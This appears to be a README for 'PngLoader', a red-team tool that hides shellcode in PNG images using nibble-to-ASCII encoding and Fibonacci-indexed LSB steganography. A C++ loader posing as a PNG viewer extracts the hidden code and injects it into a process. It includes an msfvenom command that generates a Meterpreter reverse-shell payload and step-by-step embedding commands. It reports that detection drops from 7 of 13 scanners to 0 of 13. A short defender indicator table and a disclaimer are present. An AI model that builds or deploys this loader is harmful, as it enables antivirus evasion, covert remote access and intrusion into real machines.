免责声明: 本项目仅用于教育和授权的安全研究——渗透测试、CTF 竞赛、红队演练和学术研究。请勿在未经明确书面授权的系统上使用。
PngLoader 使用两层机制将任意数据隐藏在 PNG 图像中:
# 1. Generate raw test data
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=<> LPORT=<> -f raw -o payload.bin
# 2. Encode binary → ASCII
python3 0.Scripts/TransformRawToEncode.py payload.bin encoded.txt
# 3. Embed into a cover image
python3 0.Scripts/HideEncodeToPicture.py embed 2.Payloads/clean.png encoded.txt -o stego.png
# 4. Verify extraction works
python3 0.Scripts/HideEncodeToPicture.py extract stego.png --hex
# 5. Check image capacity
python3 0.Scripts/HideEncodeToPicture.py capacity 2.Payloads/clean.png

PngLoader/
├── 0.Scripts/
│ ├── TransformRawToEncode.py # Nibble-to-ASCII encoder/decoder
│ └── HideEncodeToPicture.py # Fibonacci steganography (embed/extract)
├── 1.Loader/
│ ├── loader_png.cpp # PNG viewer + steganography extractor
│ ├── loader.cpp # Alternate loader (inline buffer)
│ ├── Utils.cpp / Utils.h # ASCII → binary decoder
│ ├── VirtualBuffer.h/.cpp # RAII VirtualAlloc wrapper
│ ├── Hearders.h # Shared Windows includes
│ └── Loader_png.vcxproj # Visual Studio project
├── 2.Payloads/
│ └── clean.png # Sample cover image
└── readme.md
每个字节被拆分为两个 4 位半字节。每个半字节通过加上一个随机基数(48、64 或 96)映射为一个可打印 ASCII 字符:
Byte 0xFC → high nibble 0xF, low nibble 0xC
High: 48+15=63 '?' | 64+15=79 'O' | 96+15=111 'o'
Low: 48+12=60 '<' | 64+12=76 'L' | 96+12=108 'l'
解码利用模16特性——三个基数都是16的倍数:
original_nibble = encoded_char % 16
byte = (char1 % 16) << 4 | (char2 % 16)
随机基数选择意味着相同输入每次都会产生不同输出,但解码始终是确定性的。
| 基数 | 范围 | 字符 |
|---|---|---|
| 48 | 48–63 | 0123456789:;<=>? |
| 64 | 64–79 | @ABCDEFGHIJKLMNO |
| 96 | 96–111 | `abcdefghijklmno |
载荷字节被放置在扁平化像素数组上遵循斐波那契数列(1、2、3、5、8、13、21、……)的像素索引处。这样可以将修改分散到整幅图像中,而不是聚集在一起。
位打包 — 每个字节按 3/3/2 拆分到 RGB 的 LSB 中:
R: bits 7–5 (3 LSBs)
G: bits 4–2 (3 LSBs)
B: bits 1–0 (2 LSBs)
环绕 — 当斐波那契索引超出像素数量时,它们会通过取模进行环绕。冲突通过线性探测解决。0x00 终止符标记数据结束。
| 图像尺寸 | 像素数 | 干净容量 |
|---|---|---|
| 640×480 | 307,200 | ~27 字节 |
| 1920×1080 | 2,073,600 | ~31 字节 |
| 4000×3000 | 12M | ~35 字节 |
启用环绕后,最大容量 = total_pixels − 1。
C++ 加载器(loader_png.cpp)充当合法的 PNG 查看器:
UtilDecryptFileQuoted()(mod-16 反转)将 ASCII 解码为二进制斐波那契序列只是一种方法。其他像素选择策略提供不同的容量/安全性权衡:
| 算法 | 干净容量(1080p) | 共享密钥 | 分布 | 成本 |
|---|---|---|---|---|
| 斐波那契(已实现) | ~31 字节 | 否 | 指数间隔 | 极低 |
| 素数索引 | ~150K 字节 | 否 | n·ln(n) 间隔 | 中等 |
| LFSR | ~2M 字节 | 是(种子) | 伪随机 | 极低 |
| 密钥置换 | ~2M 字节 | 是(密钥) | 密码学 | 高 |
| 希尔伯特曲线 | 取决于步长 | 否 | 空间均匀 | 中等 |
| 黄金比例(Weyl) | ~2M 字节 | 否 | 低差异 | 极低 |
素数索引 — 像素索引为素数(2、3、5、7、11……)。素数按 n·ln(n) 增长,因此干净容量远高于斐波那契。
LFSR — 最大长度线性反馈移位寄存器产生伪随机置换。种子充当共享秘密。在整个周期内零冲突。
密钥置换(Fisher-Yates) — 使用 CSPRNG 播种对所有像素索引进行洗牌。没有密钥时,位置与随机不可区分。
希尔伯特曲线 — 沿空间填充曲线以一定步长遍历像素。将更改均匀分布在整个二维图像区域。
黄金比例(Weyl 序列) — pos(n) = floor(n × φ × total) mod total。产生尽可能最均匀的一维分布。计算极其简单。
原始载荷 — 7/13 个扫描器检测到它:

编码后 — 0/13 个扫描器检测到它:

对于蓝队 / 防御者:
| 层级 | 指标 |
|---|---|
| 静态 | 导入:VirtualAllocEx、WriteProcessMemory、SetThreadContext |
| 图像 | 对 LSB 平面进行卡方隐写分析可检测修改 |
| 行为 | 挂起进程创建 + 远程线程注入(Sysmon EID 1+8) |
| 编码 | 字符仅来自三个 16 字符 ASCII 范围 |
Python:
pip install numpy Pillow
C++ 加载器:
1.Loader/Loader_png.vcxproj → 生成 Release x64仅限教育用途和经授权的安全研究。请参阅上文的免责声明。